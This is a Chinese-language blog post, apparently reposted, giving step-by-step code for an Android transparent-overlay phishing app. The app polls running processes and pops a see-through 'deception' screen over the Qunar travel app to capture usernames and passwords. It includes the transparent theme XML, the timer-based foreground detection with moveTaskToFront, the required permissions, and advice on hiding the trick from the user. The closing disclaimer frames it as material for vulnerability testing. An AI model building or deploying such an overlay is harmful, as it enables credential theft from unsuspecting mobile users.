您的位置:首页 > 产品设计 > UI/UE

android透明UI欺骗的简单实现

2016-06-02 14:05 555 查看

1.应用使用方法

将本应用运行在后台,当特定的应用启动时,本应用会自动弹出背景透明的界面,覆盖在原应用上,特别是当被覆盖应用启动时是密码输入界面时,透明UI可以欺骗用户,以达到获取用户名、密码等个人信息的目的。

2.实现原理

本程序使用到透明背景界面的创建、应用后台转前台、定时查找当前运行task和app等功能。

3.实现步骤

3.1实现透明UI

首先实现自己定义的透明主题,在res/values/styles.xml中定义style如下:

<style name="shenmegui_transparent">
<item name="android:windowBackground">@color/transparent</item>
<item name="android:windowNoTitle">true</item>
<item name="android:windowIsTranslucent">true</item>
<item name="android:windowAnimationStyle">@android:style/Animation.Translucent</item>
</style>


其中color/transparent是定义在res/values/colors.xml中的透明色,所以在res/values/colors.xml中添加:

<color name="transparent">#0000</color>

最后在AndroidManifest.xml文件中引入自己的主题:

android:theme="@style/shenmegui_transparent">

这样,我们的界面就是透明的了。

3.2实现定时查看当前运行程序功能

当被伪造的程序开始运行时,需要弹出伪造界面,故需不断的查看当前运行的程序,本程序使用timer实现。当当前运行程序是欲覆盖应用时,使用moveTaskToFront将应用欺骗界面显示出来。具体程序如下:

public void timer(final Context context){
Timer timer=new Timer();
final TimerTask timerTask=new TimerTask() {
@Override
public void run() {
ActivityManager myActivityManager= (ActivityManager) context.getSystemService(context.ACTIVITY_SERVICE);
List<ActivityManager.RunningTaskInfo> list_task=myActivityManager.getRunningTasks(100);
List<ActivityManager.RunningAppProcessInfo> list=myActivityManager.getRunningAppProcesses();

//若当前运行程序为“去哪儿”,则调用欺骗界面。
if (list.get(0).processName.equals("com.Qunar")){
//为了使“去哪儿”程序完全呈现出来,暂停本程序6s。此处不暂停可用来实现程序锁功能。
try{
Thread.sleep(6000);
Log.i("shenmegui","成功暂停6s");
}catch (InterruptedException e){
e.printStackTrace();
}
//遍历当前运行task,找到本程序所在task,移至前台。
for (ActivityManager.RunningTaskInfo i:list_task
) {
if (i.topActivity.getPackageName().equals(context.getPackageName())){
myActivityManager.moveTaskToFront(i.id,0);
}
}
//调用欺骗界面。
Intent intent=new Intent();
intent.setClass(context,SecondActivity.class);
// intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(intent);
this.cancel();
}
Log.i("processName", list.get(0).processName);
}
};

timer.schedule(timerTask,0,4*1000);
}


其中SecondActivity.class即为弹出的透明UI欺骗界面。具体SecondActivity类的写法就是根据被模仿的程序界面不同而不同了,但是要注意,要在SecondActivity中写退出程序的语句,否则用户不能在透明界面进一步操作,就会被用户发现。
最后还要注意在AndroidManifest.xml中写上权限的声明:

<uses-permission android:name="android.permission.REORDER_TASKS"></uses-permission>
<uses-permission android:name="android.permission.GET_TASKS"></uses-permission>


4.郑重声明

本透明UI欺骗程序只能用于正当用途,比如只用来测试目标软件是否具有防止被透明UI欺骗的能力。本文档只作为本人日后参考和android漏洞测试人员最初级学习参考。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: